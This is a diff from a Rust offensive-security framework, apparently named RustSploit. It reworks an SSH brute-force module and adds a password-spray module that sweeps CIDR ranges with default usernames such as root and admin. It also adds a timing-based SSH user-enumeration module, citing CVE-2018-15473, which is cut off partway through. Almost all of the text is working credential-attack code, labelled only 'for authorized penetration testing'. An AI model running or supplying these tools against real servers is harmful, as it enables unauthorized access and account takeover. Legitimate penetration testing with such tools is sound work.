|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
|
||||
let task_addr = connect_addr.clone();
|
||||
let task_user = user_str;
|
||||
let task_pass = pass_str.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if *stop_clone.lock().await {
|
||||
// Spawn task immediately - acquire permit INSIDE the task for true concurrency
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
|
||||
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[!] {} -> {}:{} (retry {}/{}) - {}",
|
||||
addr_clone,
|
||||
user_clone,
|
||||
pass_clone,
|
||||
retries,
|
||||
max_retries_clone,
|
||||
msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
tasks.push(task);
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
// Wait for all tasks with bounded concurrency
|
||||
while let Some(result) = tasks.pop() {
|
||||
let _ = result.await;
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
@@ -155,67 +417,143 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true)? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
default_name,
|
||||
)?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
async fn try_ssh_login(
|
||||
normalized_addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
let result = timeout(
|
||||
timeout_duration,
|
||||
spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))??;
|
||||
|
||||
Ok(result)
|
||||
result
|
||||
}
|
||||
|
||||
fn format_host_port(input: &str) -> Result<String> {
|
||||
if input.starts_with('[') {
|
||||
if let Some(end_bracket_idx) = input.find("]:") {
|
||||
let host_part = &input[1..end_bracket_idx];
|
||||
if !host_part.contains('[') && !host_part.contains(']') {
|
||||
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
|
||||
return Ok(input.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (host_candidate, port_str) = match input.rfind(':') {
|
||||
Some(idx) if idx > 0 => { // Ensure colon is not the first character
|
||||
let (h, p) = input.split_at(idx);
|
||||
(h, &p[1..]) // Strip colon from port part
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
|
||||
};
|
||||
|
||||
if port_str.parse::<u16>().is_err() {
|
||||
return Err(anyhow!("Invalid port in address: '{}'", input));
|
||||
}
|
||||
|
||||
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
|
||||
|
||||
if stripped_host.contains(':') {
|
||||
Ok(format!("[{}]:{}", stripped_host, port_str))
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
Ok(format!("{}:{}", stripped_host, port_str))
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg)?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -278,12 +616,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
|
||||
@@ -0,0 +1,474 @@
|
||||
//! SSH Password Spray Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
|
||||
//! Useful for avoiding account lockouts while testing common passwords.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful: AtomicU64,
|
||||
failed: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful: AtomicU64::new(0),
|
||||
failed: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful.load(Ordering::Relaxed);
|
||||
let failed = self.failed.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// Credential result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SprayResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load list from file
|
||||
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let items: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(items)
|
||||
}
|
||||
|
||||
/// Main spray function
|
||||
pub async fn password_spray(
|
||||
targets: Vec<(String, u16)>,
|
||||
usernames: &[String],
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Spray tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
for user in usernames {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::stdout().flush();
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# Total: {} credentials found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
"guest", "test", "oracle", "postgres", "mysql",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray")?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,295 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
